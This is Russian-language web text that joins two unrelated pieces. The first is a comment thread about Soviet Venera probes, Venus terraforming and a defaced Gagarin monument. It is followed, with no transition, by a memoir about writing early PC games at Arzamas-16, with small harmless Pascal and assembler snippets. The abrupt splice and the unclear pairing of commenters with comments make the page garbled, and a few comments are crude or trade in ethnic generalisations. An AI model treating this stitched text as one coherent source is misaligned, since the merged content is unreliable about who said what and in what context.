Интересно, правда, Россия который год подряд запускает спутников больше всех остальных, а все уверены, благодаря стараниям «наших» СМИ что у нас чуть ли не медведи в шапке ушанке ракеты пинком в космос запускают?
Был аномальный, для нас, всплеск неудач, в 2011 году, но даже те показатели для большинства стран являются практически недостижимыми. А если учесть что Европа запускает наши ракеты(какой-то вариант Союза) со своего космодрома в Куру, а так же американцы закупают наши двигатели для своих ракет( РД-180, для ракеты Атлас-5), то картина становится намного более интересная чем нам рисуют её СМИ.
Shpankov
Весь вопрос сколько из этих спутников наши. Примерно половина пусков — коммерческие, т.е. производятся не в интересах России:



Конечно успехи в космическом бизнесе — это хорошо, но за пределами космодромов наши успехи не такие вдохновляющие:
lubezniy
То, что основные деньги в коммерческом космосе приносит собственно производство спутников — не секрет. Правда для их производства нужно иметь неплохо развитую науку и культуру производства.
ncix
Навскидку «Радиоастрон» еще. Но по сравнению с красочными шоу НАСА можно сказать, что практически скрывают, да:). Популяризации своих достижений Роскосмосу у американских коллег еще долго учиться…
lubezniy
NASA то целые шоу с прямыми трансляциями и эксператами устраивает, а у нас только в СМИ сухое: «запустили еще одну ракету» (и то не всегда) или начинают обильно обсасывать тему «какой из спутников утопили в океане в этот раз». Для человека не следящего за космической отраслью кажется что у нас ничего хорошего нет вообще, а начинаешь копать глубже — чуть ли не единственные запусакем ракеты и поставляем/продаем двигатели для чужих ракет.
ncix
У наших давным давно есть канал на youtube, периодически там запуски смотрю.
lubezniy
Ну, Венеру, как и другие планеты, можно колонизировать. Мне, лично, импонирует идея, что на Венеру можно закинуть специально генно-модифицированные водоросли, которые смогут обеспечить планету кислородной атмосферой, благодаря чему снизится температура и давление. Правда, вполне возможно, что для этого понадобится скинуть на Венеру астероид.
Rezzet
Уже не раз слышал про то что можно внезапно сделать планету пригодной для жизни, но пока люди только свою планету умеют делать не пригодной для обитая, вырубая, выжигая и загрязняя всё что можно.
Есть какие то научные статьи на эту тему с реальными тестами?
SovGVD
Это называется «терраформирование», начать складывать представление о текущих идеях можно со статьи в Википедии «Колонизация Венеры»
Rezzet
Интересно, не тем ли же способом сделали Землю пригодной для жизни)
Zelenyikot
Почему внезапно? Самые смелые прикидки дают не менее сотни лет на терраформинг. Вообще, мы уже сейчас в состоянии туда отправлять отдельные колонии водорослей, вдруг кто выживет. Но без ряда ударов комет для воды и разгона вращения все это бесполезно.
zone19
Реальность не даёт никаких гарантий на существование в неизменном виде биосферы, даже если человек вернётся в лоно природы, снова став собирателем корней и мелкой живности. Вспомним, например, первобытные синезелёные водоросли, которые отравили атмосферу древней Земли кислородом погубив множество своих «родственников». В некотором философском смысле космическая экспансия человека — способ человечеству отдать долг породившей его биосфере, так как без его помощи жизнь не сможет распространиться дальше Земли, а на самой Земле она имеет постоянные и всё растущие шансы исчезнуть не зависимо от деятельности человека (из-за сторонних причин: постепенное остывание Земли, эволюция Солнца, замедление вращения Земли, из-за ненулевой вероятности вспышки сверхновой в непосредственной близости (Сириус) и так далее).
SelenIT2
Да, сине-зеленые водоросли знали толк в геноциде. А биосфере собиратели корней и мелкой живности причинили такой вред, какой нынешним загрязнителям и не снился, так что мы еще молодцы.
SovGVD
Короче, нужно скинуть астероид и жизнь наладится
LastDragon
Инопланетяне наверное так же про Землю думали, когда динозавров уничтожали метеоритом (по одной из версий). Но вроде не плохо получилось.
aronsky
Есть такое понятие, как «обитаемая зона». Условно характеризует расстояние до светила, где на планетах могут сформироваться и сохраняться условия, подобные земным. Так вот по последним данным Земля наша находится на самом краю внутренней границы этой зоны. Всего на каких-то пару процентов ближе к Солнцу и всё, было бы слишком жарко. Венера соответственно далеко вне этой зоны, слишком близко к светилу. Марс — на внешней границе.
SovGVD
Есть такое понятие, как «обитаемая зона». Условно характеризует расстояние до светила, где на планетах могут сформироваться и сохраняться условия, подобные земным. Так вот по последним данным Земля наша находится на самом краю внутренней границы этой зоны. Всего на каких-то пару процентов ближе к Солнцу и всё, было бы слишком жарко. Венера соответственно далеко вне этой зоны, слишком близко к светилу. Марс — на внешней границе.

Да, это я знаю. Между тем, на Марсе пока нет вообще никакой возможности дышать, а на Венере есть :)
И на высоте около 50 км температура тоже вполне терпимая.
track
Согласен. В принципе колония на летающих шарах в атмосфере Венеры выглядит не более фантастично чем на поверхности Марса, если разобраться :)
Infinite
Именно так.
wladimir90
Нет я вам не верю. Если мы не сможем колонизировать Венеру, зачем тогда человечеству жить?
AlexDodonov
Действительно, незачем.
sets
Хабр, ну почему ты минусуешь за попытку расширить свой кругозор вопросами к знающим людям, но плюсуешь тентакли на Венере? Я что-то делаю не так?
odiszapc
Возможно, за совмещение в одном комменте разнородных сущностей — собственно вопроса и штампов о «проблемах российского автопрома» и т.п. Что слишком часто применяется в демагогической манипуляции и потому у многих вызывает предсказуемо негативную реакцию. А самое обидное, что невозможно понять, какую именно часть такого «составного коммента» минусуют)

А «тентакли» изначально выглядят безобидной шуткой (хотя тем-о-чем-нельзя-говорить, похоже, ее автор за эту шутку заплатил прилично).
SovGVD
Тогда не знали что Венера безжизненна — это поняли только спустя несколько миссий.
Венера ближе к нам чем Марс, и кто сказал что она менее интересна? Столь экстремальные условия сами по себе интересны для изучения.
ncix
Венера ближе к нам чем Марс
А горючки надо сжечь больше. Парадоксально, но факт.
Shpankov
Столько аппаратов накидать на безжизненную планету
Ну, во-первых, о том, что там у поверхности ад, узнали только на «Венере-4» в 1967 году, а проработать хотя бы час и уточнить, из чего сделан этот ад — только в 1975. Во-вторых, из-за плотной атмосферы Венера слабопригодна для исследований с Земли и альтернативы особой не было.
ncix
По поводу изображения, в момент передачи научных (не фото) данных, на картинке просто шумы? Или это и есть закодированная телеметрия и прочие интересные данные?
Shpankov
На картинке просто шумы, телеметрия передавалась по другим каналам.
aronsky
Ну или щупальца например :-)
ncix
Больно агрессивная среда для крупных живых организмов, да и периодичность и «толщина» шумов намекает на то что это не «черные прямоугольнички».
SovGVD
И как вы себе представляете щупальца земных насекомых при температуре около 500 градусов и диком давлении?
SelenIT2
Что их представлять-то, вона они на картинке.
wladimir90
Нет, скорее всего обычные небиологические формы сетевой псевдожизни, с п͢рямоу̸го͘л̵ьны҉м̧и͜ п̵ик̀с͘е̧л̷͝ь͘͢н̧ы̀м̶̷̶и щ͙͍̬̩͎̖̥͎у̡̨̨͕̱͍п̴̹̯̘͈͘͠а̛͖̹л҉̧̦̝̪̫ь̤̹̘͞͞ц͎̕а͏̟̟̫̲м̵̳̙̀и̯̩̝͔̩̘͎̤.
kekekeks
Славно придумано.
Я сначала глаза протер, а потом — экран. Думал, что привиделось.
Rascko
«Интенсивность запросов изображения превысила допустимый лимит»
SovGVD
Старая гифка про панораму Марса, в которой возникает марсианин, и бьет камеру заступом.

habrastorage.org/storage2/f8b/e0b/58f/f8be0b58ffe4c251e017579116b209eb.gif

Судя по «минусам» — и правда старая )) Но, раз уж тут щупальца начали обсуждать…
Kamalesh
Минусуют те, кто внезапно обо*рался.
ideator
Спасибо Вам, хоть и своеобразно, но утешили :)
SovGVD
Ну, я один из тех, разве что минусовать не умею. Такое коллективное своеобразное предупреждение для последующих любителей гифок, но без спойлеров (%.
ideator
По-моему, гифке уже не один месяц. Так же как и вашему «обратному смайлику» :)
SovGVD
Каждые 4 минуты видеосигнал прерывался, так как в канал связи поступала телеметрическая информация со всех научных приборов аппарата.

Странно, но шумы эти выглядят так, будто это та самая телеметрическая информация. И из цитаты получается, что там был один канал.
ideator
При ответе на комментарий я имел в виду, что этот шум не есть «закодированная телеметрия», т.е. ее нельзя расшифровать. Эти полосы — некое визуальное «отображение» телеметрической информации, но на изображении самих данных нет.
ideator
>>В состав научной аппаратуры спускаемого аппарата «Венера-9» входили: системы измерения температуры и давления, масс-спектрометр для определения химического состава атмосферы, акселерометры, нефелометры (2), фотометр для исследования светового режима (3 полосы в видимой области + 2 ИК в трех телесных углах), фотометр на полосы поглощения CO2 и H2O, анемометр, гамма-спектрометр для определения содержания естественных радиоактивных элементов в венерианских породах, радиационный плотномер для определения плотности грунта в поверхностном слое планеты, панорамные телефотометры (2).

… и всё это уместилось в ОДИН спускаемый аппарат (в 1970-м году, когда, наверное, и не вся электроника была транзисторная, не говоря уже про ИС).
Охренеть.
SelenIT2
К слову, есть люди, которые утверждают, что на Венере есть жизнь. Я как-то читал об этом в «Науке и Жизни» (полное содержание статьи примерно совпадает с вот этим), но, на мой взгляд, это чистая конспирология и игра на ошибках декодирования снимков — как можно что-то однозначно сказать про объект 20 на 20 пикселей размером?
Archet
Причем Леонида Ксанфомалити, серьезного ученого и прекрасного популяризатора планетных исследований, в намеренной «желтизне» упрекнуть трудно. Разве что в фанатизме к своей любимой теме, перевешивающем традиционный для ученых скептицизм…

Кто знает. По идее, при венерианских температурах хим. процессы идут быстрее, а значит, и химическая эволюция (если она там была) могла получить неплохую фору, чтобы приспособиться и к этому аду. Воды вот только маловато… В любом случае ждем новых исследований! :)
achekalin
Сам посыл конечно разумный, нет причин считать Венеру безжизненной. Тем не менее анализ фотографий довольно сомнительный. На марсианских фотках и покруче были артефакты.
mtp
А почему венеру никто, кроме СССР не исследовал зондами, да и сейчас все на марс, а про венеру забыли?
achekalin
На Марсе более комфортные условия для человека и техники, чем на Венере.
vertus
Ну почему же никто? А Pioneer Venus Multiprobe в 1978 году? В тот период у США в приоритетах был Марс, где они успешно работают и по сей день. Условия на Венере куда более неблагоприятны, чем на Марсе, что требует не только более сложных технологических решений (=финансирования), но и практически сводит на нет надежды найти там хоть какую-то жизнь.
achekalin
Ну как это не исследовал?
Маринеры исследовали, Магеллан исследовал, в данный момент там крутится Venus Express, готовится к запуску European Venus Explorer (старт на октябрь этого года запланирован)
Просто Марс действительно интереснее, поэтому туда чаще летали. А в СССР явно были какие-то проблемы с электроникой, она почему-то до Марса попросту не долетала (либо долетала на пределе возможностей, уже полудохлой), про окраины солнечной системы и говорить нечего.
Вот и сосредоточили усилия на Венере.
vertus
В тему подоброного рода статьям лучше завершать этой фотографией.

achekalin
Вот в упор не понимаю, почему фотография хулиганской матерной надписи, которой осквернен памятник герою, набирает столько плюсов…
SVlad
Чем осквернён, правдой?
Kamalesh
1) тупой нецензурщиной
2) кривой типографикой (нет пробела после запятой, кернинг говно, буквы скачут)
3) необоснованным обобщением (какое право у анонимного школоло судить о том, что прое...ли или не прое...ли создатели того же «Радиоастрона»?)
4) отсутствием элементарной культуры и уважения к памяти великого человека (хотя бы то, с какого хрена это школоло обращается к герою этим панибратским «Юра» — уверен, они с ним на брудершафт не пили, и сомневаюсь, что они даже хотя бы с 800 м с парашютом прыгали...)
5) общей неуместностью.

Безусловно, изгадить памятник краской из баллончика проще, чем вместо рекламного агентства пойти на предприятие космической отрасли и личным участием изменить ситуацию и сделать так, чтобы перед «Юрой» было не стыдно. И даже чем отмыть этот самый памятник после таких, гм, правдоё… простите, правдорубов. Да, это правда. Но чем виноват сам памятник, и каково смотреть на него в таком виде тем, для кого Гагарин — действительно не только символ, но и близкий человек?
6opoDuJIo
Согласен, меня откровенно раздражает любой коммент на хабре, в котором просто пишут, что мы всё прожевали. Зачем повторять эту мантру, мы прожевали, мы прожевали, какая цель? Да, можно привлекать внимание к событиями конкретным, где кто-то что-то прожевал, но зачем эти абстрактные утверждения? Эта какая-то дурацкая мода, привычка. Один дурак ляпнул, другие повторяют за ним, и вот уже пол стада блееет: прожевали, прожевали. Жуйте молча, господа!
resetnow
Уважаю. Оставил Вам мой единственный плюс за сегодня =)
SelenIT2
Да, это правда. Но...

Все. Именно по этому и плюсуют. Все остальное, что вы описали, раздражает в нашей жизни людей меньше или вообще не беспокоит. Плохо это или хорошо, вопрос другой. Про типографику вы в себе выдали дизайнера, которого коробит этот не идельный мир.Мне кажется уж это точно не имеет никакого значения к теме.
ncix
Правда то, что изгадить что-то пока неизгаженное (пусть хоть памятник) проще, чем улучшить хоть что-то. А не содержание надписи. Оно в данном случае еще меньше важно, чем ее типографика.

Плюсуют, кстати, ровно поэтому же. Усилий не требует, в отличие от…
gigimon
В отличии от желания судить. И даже тема разговора не имеет значения. Минусов хватает. Не беспокойтесь за ваших сторонников, у вас их достаточно. Не все потеряно. Но на отмывку памятника уверен сил тоже не найдется.
Минусуют, кстати, ровно поэтому же. Усилий не требует, в отличие от…
Bagobor
Я минуснул всего два коммента — с самой картинкой (за рекламу хулиганства и вандализма) и с «правдой» (потому что нихрена это не правда, а классическая ЛПП и голимое оправдание собственной личной никчемности а-ля «не мы такие, жизнь такая»). Да, мне это было проще, чем отмыть памятник — я даже не знаю, в каком городе и когда его изгадили. Да, вот такой я лентяй и хомячок. Но это то, что я мог сделать здесь и сейчас, чтобы остановить цепную реакцию глупости, лжи и разрушения. А чего добились анонимные «настенные художники» и их защитники?
Kamalesh
Для меня это надпись — письмо в прошлое. Гагарин выступает только как символ тех времен. Я уверен, что желания унижения религиозных чувств, оскорбления или осквернения в голове писавшего и подавно не было. Это можно толковать со словаря и закона, морали этики, чего там у нас есть еще… это все нормально. Но толкуем результат.

Это надпись как уроборос — змея, кусающая себя за хвост. Или лента мебиуса, сама надпись подтверждает саму себя.
Этож мелкий прыщ на обществе.

Уехать из страны, кстати, не желаете? В этом тоже есть некое осквернение памяти с точки зрения прежних поколений. Страна — один большой памятник. Пол хабра придется минусовать даже если они не рисуют но думают. Как в анекдоте:

А сколько стоит индюк?
— 10 000 000р
А почему в 4 раза дороже попугая?
В отличие попугая, свое мнение о ващем уме он держит в уме без высказываний.

И кстати говоря, ваш пост помог. Люди поменяли тенденцию. Значит не все так плохо… ведь достаточно несколько слов. Это значит копать далеко совсем не нужно. И плюсы и минусы особо роли не играют.
Alexey2005
Вот письмо в прошлое. Тоже горькое, выстраданное. Тоже с обращением к символам ушедшей великой эпохи и со стыдом за нынешнюю ситуацию перед теми символами (даже в таких мелочах, как надписи «Сделано в ...» на основном и рекламном блоках соответственно). Причем письмо человека, который действительно любит своё дело, помнит, как было и знает, как стало. Письмо в прошлое, адресованное будущему — чтобы не забыли.

А каракули краской на памятнике — на мой взгляд, лишь подростковое желание порисовать(ся). В первую очередь.
Alexufo
Хотелось бы еще статью про наше:
— какой алгоритм сжатия, протокол передачи данных
— если есть код программы бы от этой штуки
SelenIT2
А была ли там вообще программа в современном понимании этого термина?
DnV
Немного про компьютеры на космических станциях тех времён: old.computerra.ru/vision/606130/
Думаю, что код программы приводить смысла нет. Может и людей то не осталось, которые его могли понимать.
SelenIT2
Это так круто, что похоже на мокьюментари. см. Первые на луне, фильм.
itforge
Автор, как снимки передавали на Землю-то?
wartur
Здесь ничего нового изобретено не было: с посадочного аппарата двоичный радиосигнал передавался на орбитальный аппарат, а затем по дециметровой линии на Землю. Сам аналоговый видеосигнал, поступающий с камеры, в телеметрической системе преобразовывался в цифровую форму и выглядел примерно вот так.
Alexufo
А хаба ~«Космос» нету?
SelenIT2
Есть «Космонавтика» но он считается оффтопиком, и статьи под ним не выходят в «Лучшее за 24 часа», поэтому приходится его игнорировать. Я надеюсь когда-нибудь эта ситуация изменится.
Alexufo
Написал в техподдержку с просьбой вывести «Космонавтику» из оффтопика. Сказали, что вывели. Слава НЛО!
SelenIT2
Интересно, как еще варианты устройства камер рассматривались инженерами и были отброшены в пользу, наверное, самого простого? Там же нет никакого дублирования, никакой избыточности в данных. Сочли механизм абсолютно надежным?

Еще любопытно, какие лампы использовались для источников искусственного света? Я где-то читал, что для лунных программ лампы делались без колб, в вакууме в них не было необходимости. Но Венера не Луна, и судя по рисунку, никто фары солями лития не обкладывал. С другой стороны, если нить накаливания уже разогрета до 500С, это даже выгодно. Осталось догреть до 2000С и врубать дальний свет. :)
Alexufo
Интересно, как еще варианты устройства камер рассматривались инженерами и были отброшены в пользу, наверное, самого простого? Там же нет никакого дублирования, никакой избыточности в данных.

В то время принципиально иных технических решений и не было. Поэтому отработанные варианты приспособили под необходимые условия функционирования. Избыточность данных получалось только путем повторной съемки одних и тех же участков (за счет чего Д. Митчел и восстановил более качественные панорамы). Научная аппаратура сама по себе обычно не дублируется (каждый килограмм на счету), дублируются только управляющие компоненты (если откажет один прибор, все остальные будут работать, а если откажет «мозг», то миссия на этом закончится).

Еще любопытно, какие лампы использовались для источников искусственного света?

Галогеновые лампы накаливания (КГМ-27-100):



Были выбраны из-за высокой рабочей температуры кварцевого баллона (необходимо для осуществления галогенного цикла регенерации нити) и его механической прочности из-за малого размера. Лампы потребляли 100 Вт и давали световой поток в 3400 лм. На поверхности Венеры работали в незащищенном виде (как на фото). В принципе, благодаря хорошей освещенности планеты и контрасту деталей альбедо, действие подсветки практически незаметно.
SelenIT2
Эта лампочка стоит 132 рубля в магазине. Работает и на Венере. Я впечатлен.
wartur
А откуда на Венере хорошая освещённость, если там атмосфера такая плотная, что даже не прозрачная? Я вот думал, что там темно, как на дне океана.
SVlad
Так думали и советские ученые до полета «Венеры-8» в 1972 году, когда освещенность удалось измерить непосредственно. На дневной стороне она составила 10 тыс. лк. (это примерно освещенность в тени в ясный солнечный день).
red_andr
А я правильно понимаю, что с Венеры были переданы первые черно-белые фотографии, а с Марса первые цветные? Или я таки что-то путаю?
serafims
Да, правильно. С Марса первые цветные фотографии пришли от Викингов в 1976 году, а с Венеры — в 1982.
Случилось это в городе, закрытом от шпионов, цыган и бед социалистической экономики. В Советском Союзе было ровно 10 таких городов, повязанных атомным секретом.

Жизнь мальчиков с математическими способностями в атомных городах была предопределена — школа с пятерками по алгебре и геометрии, мех-мат столичного университета, возвращение в систему, квартира через год, кандидатская степень в 40 лет, ВАЗ 2103 к пятидесяти годам, звание доктора, гараж, шесть соток, четыре квадратных метра.

Бесконечные размышления о математическом моделировании ядерных взрывов разрывали мальчикам мозг. Мозг можно было отвлечь тремя способами — алкоголем, азартными играми и спортом. Секс и музыка помогали не всегда.



Далее я проваливаюсь в историю компьютерной игры.
Под тегом личные воспоминания ветерана без ссылок, рекламы, картинок и кода.
Спасибо за чудесные комментарии, парни.


Чуть-чуть пояснений о 80-ых годах


Интернета не было. Настольных компьютеров не было.
По телевизору вещало целых два канала.
Тем не менее, играли везде и на всем.

ЭВМ БЭСМ-6, ЭЛЬБРУС (СВС) денно и нощно считали сумасшедшие энергии водородной бомбы и хранили в своих 48 разрядных недрах игру ПЕЩЕРА.

-Коли тролля ножом, — лихорадочно печатали на гигантских клавиатурах будущие КФМНы. Клавиатура весила как 7 современных MacBookов. Терминал весил центнер. Кстати, в Германии центнер — 45.359 кг.

Казалось жизнь пройдет среди формул, перфокарт, FORTRANа и черно-зеленых мониторов.
И вдруг в институте появился тот, кого журнал TIME назвал человеком 1982 года.

Его звали IBM PC/XT.
Из Америки до СССР он шел 6 лет.

В наш город их пришло два, мальчик и… еще мальчик.
Яркие, звонкие, цветные, с игрушками Digger и Cats и процессором 8088 на борту.
Во ВНИИЭФ на тот момент было 26 000 сотрудников. Один IBM PC/XT поставили в терминальном зале для всеобщего восхищения, другой — по невероятному стечению обстоятельств — ко мне в комнату 632А. Это была неслыханная удача.

Успех Марка Цукерберга по сравнению с моим — ничто. За 10 минут погонять ДИГГЕРА девушки предлагали любовь до гроба или секс на час. Парни давали ключи от мотоциклов и квартир, чтобы раздеть Мелиссу в стрип-покер или потренироваться в DECATHLON.

Как тут было не написать программу для расчета сферической ударной волны, вирус и первые игрушки. На моем месте так поступил бы каждый.

Преподавание программирования на мех-мате МГУ


Надо сказать, что на мех-мате программированию не учили. К ребятам, не умеющим решить задачу аналитически, относились как к преступникам и сжигали на кострах.

Единственное место, где узнавали таинство кодирования — военная кафедра. Мы — офицеры ПВО.
Месячные военные сборы после 4-ого курса были сродни командировке в Santa Clara. Нас заслали в чудесное место — Пушкинское Высшее Училище РадиоЭлектроники — ПВУРЭ.
Там я потерял IT девственность — на пару с Мишей Гринчуком написал код для складывания целых чисел. А может быть это был Саша Михалев? Не помню.
Но помню настольную машину НАИРИ, с 16 лампочками на фасаде и командами типа FE66. Офицер, прогнавший нас, чтоб не совали руки, куда не понимаем. Царскосельский лицей неподалеку…

IBM PC/XT


ИксТишка, ласково называли его бабки у подъезда.
Что мы про него знали?
Напомню, в то время было полное отсутствие интернета и тотальный дефицит литературы.
Ксерокопии книг Нортона меняли на валюту и водку.

Операционная система MS DOS.
Таинственное слово прерывания — знаменитое INT 21h.
Диск на 20 МБ!
5-ти дюймовый дисковод для 360КБ дискетт!!!

Монитор CGA — 3 режима.
1) Текстовый, 16 цветов, на нем программисты творили свои тетрисы и пакманы.
2) Черно-белый графический режим -640х200 точек.
3) Цветной графический режим 3 цвета + фон. Разрешение — 320х200.

Встроенный интерпретатор языка BASIC, компилятор MASM и полноценный Turbo Pascal.

Картинки в формате *.rle рисовались клавиатурой в редакторе DrHalo. Мышек в это время не было. Или нам их не выдавали. Администрацию института можно было понять. Компьютер в 1988 году стоил 20 000 рублей. Новейший автомобиль ВАЗ — 7000. Мышка, видимо, была дороже холодильника.

Все создавалось на TURBO PASCAL. Почему не на TURBO C? Не знаю, до сих пор загадка. Может быть по той же причине первые версии Windows были написаны на Pascal?

Компилятор от Борланда был восьмым чудом света.
Детище фирмы умещалось на одной дискетке!

IBM PC/AT


Через год иксТишку Мур и его закон заменили на более совершенный компьтер. IBM PC/AT. Эйтишка. Процессор 80286. Диск 40 МБ. Мышка в com-норе!
Монитор EGA!!! Простите за грохот восклицательных знаков.
Цветной графический режим 16 цветов. Разрешение — 640х350.
И цветной режим VGA 320х200 с 256 цветами. Здесь уже можно было создавать полноценное порно.

Вместе с компьютерами в страну ворвалась свобода, разруха, реклама, сникерсы и телевизионные шоу.

Даже я смотрел Поле Чудес и мечтал о коробке Сникерсов. Простите меня. Они были как бусы от Васко Да Гама для туземцев.

Все что происходило в реальном мире отражалось в стихах и компьютерных играх. На развал страны я возмутился Морским Боем. Битва между Россией и Украиной. Корабли и карту изобразил сам. Я люблю Крым наизусть от Керчи до Севастополя. Портье из Pref Club был украден и одет в тельняшку. Флаг Украины нарисован по текстам Булгакова — жовто-блакитным. Сегодня меня справедливо укоряют, что цвета незалежнего стяга перевернуты.
Игра распространялась дискетным путем, других не было.
И, о трепещи Герострат, МОРСКОЙ БОЙ показали в программе ВРЕМЯ летом 1991 года. А меня назвали ястребом, разжигающим войну между братскими народами.

В создании границы между Россией и Украиной виноват не Горбачев и не Ельцин. Виновата игра Морской Бой. У советского человека неистребима вера в телевизионное слово диктора Кириллова.

Надо добавить, что я плодил игры как кролик. В свободное от работы и спорта время. Конечно, это был шлак, типа ВЗЯТИЕ БЕЛОГО ДОМА. Но авторский ВОДОПРОВОДЧИК, ДЕБЕРЦ и МАПИК завоевали институт. В каждой комнате в эти игры рубились научные сотрудники и техники — лаборанты. За эти игры не было стыдно.

Мало того. Три поделки 1991 года выпуска побывали на половине компьютеров бывшего Советского Союза. МОРСКОЙ БОЙ, КИНГ и ПОЛЕ ЧУДЕС. Их успех определили не дизайн и не gameplay. Стечение обстоятельств и безлюдность на русскоязычном рынке софта.

Денег игротворчество не приносило. Так же в свое время думал Пушкин про стихотворчество. Эти аксиомы я знал с рождения и до сих пор их никто не опроверг, в том числе Александр Сергеевич. Околоигровые проекты другое дело. Проекты могут быть прибыльны, если игрушка привязывалась к железу.

Помню, подходит как-то ко мне Семен Шавердов в 1992 году.
— Ну что, — говорит, — Дима, поехали на завод Звезда (Томилино, станция метро ЖДАНОВСКАЯ), бабосиков срубим.

Ладно, поехали — беру Борландовский компилятор на дискете и игру Трехмерный АРКАНОИД.
В результате на месте приделали игру к космическому тренажеру и девайс уехал на выставку в Израиль. Заработали с Семеном по 8 000 рублей при окладе 250.
Удачно купил 2 велосипеда КАМА для своих дочерей. В магазинах, напомню, было шаром покати.

И так далее. Все коммерсанты подходили со стандартным вопросом.
— Хочешь машину, дачу, яхту? Прикрути что-нить к нашей дыхательной трубке, горным лыжам, АРМу танкиста, симулятору ЯК-52…
Я прикручивал. В Паскале был чудный массив для чтения/записи внутренних портов

Port[$03df] := $FF; // пишем в порт
a := Port[$03de]; // читаем из порт


Но яхты у меня до сих пор почему-то нет.

Поле чудес



Поле Чудес было сделано за неделю дней и ночей. Сутки на создание картинок.
Заставка, срисованная из одноименной цветной газеты Поле Чудес и Якубович, срисованный с ч/б фотографии в СПИД-ИНФО.
Адрес телевизионной редакции, сфотографированный с экрана первого канала Полароидом.
Фоновая картинка — стены из ВолфенШтайна, безусловного шлягера тех лет.
2 дня кода и наполнения базы данных слов, тем и подсказок.
3 дня тестирования девчонками из соседнего отдела 0816.

Душа горела. Словарную базу данных наполнял тем, что было под рукой. А под рукой был секретный телефонный справочник с фамилиями сотрудников отделения 08. Там были те, кто спас мир от ядерной войны.

Математическое отделение института. 1 500 человек.
Теоретическое отделение института. 250 человек.
Половина, понятно, евреи с характерными фамилиями. Как говорится, нет такого подлежащего, которое не может быть фамилией еврея.

Рабинович, Бахрах, Холин, Урм.
Бурят Хомич.
Малороссы Карапыш, Дегтяренко, Житник, Кочубей.
Николай Петрович Ковалев.
Математик Змушко и физик Жмайло.
Доктор Кибкало и кандидат Шамраев (чеченец, кстати).
Леха Барченков, доверенное лицо Харитона.
Секретные ученые и мои товарищи в играх на первенство города по футболу.

Вечная память ушедшим. И долгих лет здоровья живым.

Чуть-чуть кода


Единственная в то время книга на русском языке про IBM PC была написана
David Bradley и стала настольной.
Только благодаря ей удалось так быстро крутить барабан. Turbo Pascal позволял делать inline функции прямо на ассемблере.

Вопросы быстродействия графики разрешались прямым обращением к видеопамяти.
Видеопамять использовалась даже для хранения данных. В каких-то эпизодах было смешно наблюдать за пляской цветных пикселов. Каждые 320 байт видеопамяти соответствовали 640 пикселам горизонтальной строки экрана монитора.

Засветить точки на экране дисплея на языке Pascal выглядело примерно так

var
scr:array[] of byte absolute $A000:0000; // адрес начала видео памяти
scr[0 + 320*47] := $FF;


Это значило зажечь белым цветом первых ДВА пиксела на 47 строке экрана.
Тоже самое на ассемблере было быстрее в 2 раза

mov bx, 00FFh // белый цвет
mov ax, 0A000h // начло сегмента видеобуфера
mov es,ax
mov ax, 0012Fh // 47 строка
mov si,ax
mov [es:si],bx // зажигаем


Извиняюсь за возможные опечатки, пишу исключительно по памяти, 20 лет не видел с тех пор ни Pascal, ни ассемблер.
На самом деле в играх функция рисования картинок работала еще быстрее — я использовал механизм задвижек. Подробно об этом написано в другой шлягерной книге 90-ых годов Джордейна Справочник программиста персональных компьютеров. Кроме того, напоминаю, по рукам ходили ксерокопии книг Нортона и Питера Абеля.

Вокруг света



Выпуская игру я потешил авторское самолюбие вставкой в код своего мыла и домашнего телефона.
Город Арзамас-16 к тому времени еще не был переименован обратно в Саров. Позывные bashurov@vniief.su и bady@vniief.su работали только на прием. КГБ и СБ не дремало.
Телефон 5-92-73 был домашним, поскольку на рабочий звонить с Большой Земли было запрещено.

Кстати, все ограничения на отсылку по электронной почте действуют и поныне. Сотовые, ежу понятно, носить с собой на службу запрещено присно и во веки веков под угрозой отрезания всех прав.
Институт, славный ВНИИЭФ по-прежнему скрыт завесой гос. тайны.
Но Бериевский режим потихоньку смягчается.
И, о чудо! Недавно появилась возможность звонить на рабочий номер телефона по межгороду.

Первые пару месяцев после выхода игрушки в свет было спокойно. Раз в день кто-то из любопытства звонил. Звонили девушки, бандиты и программисты. Я с удовольствием общался с девчонками и IT-шниками. Смело дерзил бандитам. Бандиты требовали мерседес в качестве приза и грозились приехать. Их я не боялся. Не потому что отважный, а потому что мой Город обмотан 7-мью рядами колючей проволоки и охраняется дивизией ВВ. Лаврентий Павлович был мудрым человеком.
Что с местными бандитами? С ними я играл в хоккей в одной команде. Играю до сих пор, но состав дружины сильно поредел в лихие 90-ые. Вечная память борцам за передел собственности. Аминь.

И вот, однажды почти ночью я вздрогнул. Раздался звонок межгорода. Израиль. Майоры на прослушке замерли. Качество связи стало изумительным.
— Алло? Это, Сергей. Ведущий на радиостанции Эхо Тель-Авива.
Вежливо попросил разрешения распространить игру в каком-то FIDO.
— Да ради Христа! ой! То есть, пожалуйста.

И понеслось. Неумолкающий телефон 5-92-73 пришлось сменить.
На почту каждый день приходили письма. Часто с милым или смешным содержанием.
Письма шли из США и Израиля от бывших соотечественников и кружков по изучению русского языка.

Отвечать я не мог. Публично на Хабре прошу за это прощения.
Но некоторые адреса сохранил.
Это было единственное рациональное действие с моей стороны.
Лучше бы я сохранил код, он был бы здесь уместен. Эх-эх…

Редакция газеты ПОЛЕ ЧУДЕС


Наступило тяжелое время. Зарплата в институте упала до 15 долларов в месяц. И ту задерживали.
Всеобщий дефицит колбасы и моральных ценностей. Рушилась страна и семьи.
Я не выдержал и решил подзаработать на хлеб халявным способом.

Прочитал адрес редакции в газете Поле Чудес. Наивно полагая, что бумажная и телевизионные организации являются братьями-близнецами. Как выяснилось позже, они были прямыми конкурентами.

Ладно. Во время командировки в январе-феврале 1993 года я забежал по указанному столичному адресу и оставил дискету с игрой. Через месяц был любезно принят гл. редактором г. Шварцем. Мужик мне понравился, в отличии от его правой руки г. Семанова. С первого взгляда было ясно что г. Семанов тип скользкий и темный.

В результате мне было обещано что-то смехотворное в обмен на код, который я безмятежно отдал г. Семанову на дискете. Вот у кого есть вариант исходников. Нынешняя судьба товарища и исходников мне неизвестна.

Я, конечно, тоже жук — за счет редакции ездил в Москву и Питер в СВ. Как крутой коммерсант того смутного времени.
Ладно. Вернулся в Арзамас-16, работаю. Жду подписания договора со стороны редакции газеты Поля Чудес, она же газета Частная жизнь, она же еженедельник Семья и еще куча изданий. И тут, бабах! Октябрь. 1993 год. Танчики. Белый Дом горит. В редакции пусто. Я думал, все прогрессивные издатели спасали демократию. Увы. Оказывается все прогрессивные парни в октябре 93 собрали бабки, чемоданы и паспорта и всей компанией спрятались в Испании.

Они сидели на фиесте три месяца, ждали исхода и конца курортного сезона.

